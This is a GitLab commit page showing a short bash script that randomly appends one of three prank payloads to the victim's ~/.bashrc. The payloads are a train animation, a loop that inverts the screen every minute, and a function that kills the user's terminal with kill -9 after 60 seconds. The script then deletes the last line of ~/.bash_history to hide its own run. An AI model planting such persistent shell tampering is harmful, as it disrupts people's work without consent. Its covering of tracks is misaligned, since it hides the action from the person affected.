Skip to content
Extraits de code Groupes Projets
Valider 58923f6a rédigé par Xarus's avatar Xarus
Parcourir les fichiers

hmm

parent
Aucune branche associée trouvée
Aucune étiquette associée trouvée
Aucune requête de fusion associée trouvée
#!/usr/bin/env bash
case $[ $RANDOM % 3 ] in
0)
# a long train
cat << EOF
sl -10 -a
EOF
;;
1)
# rotating the screen during 10s evry 60s
cat << EOF
function rotate_infinitly() {
SCREEN=$(xrandr -q | sed -n "s/^\(.*\) connected .*$/\1/p" | head -n 1)
while true
do
sleep 60s
xrandr --output \$SCREEN --rotate inverted
sleep 10s
xrandr --output \$SCREEN --rotate normal
done
}
rotate_infinitly &
EOF
;;
2)
# killing the currrent terminal after 60s
cat << EOF
function sleep_kill() {
sleep 60s
kill -9 \$$
}
sleep_kill &
EOF
;;
esac >> ~/.bashrc
sleep 1s; sed -i '$ d' ~/.bash_history &
0% Chargement en cours ou .
You are about to add 0 people to the discussion. Proceed with caution.
Terminez d'abord l'édition de ce message.
Veuillez vous inscrire ou vous pour commenter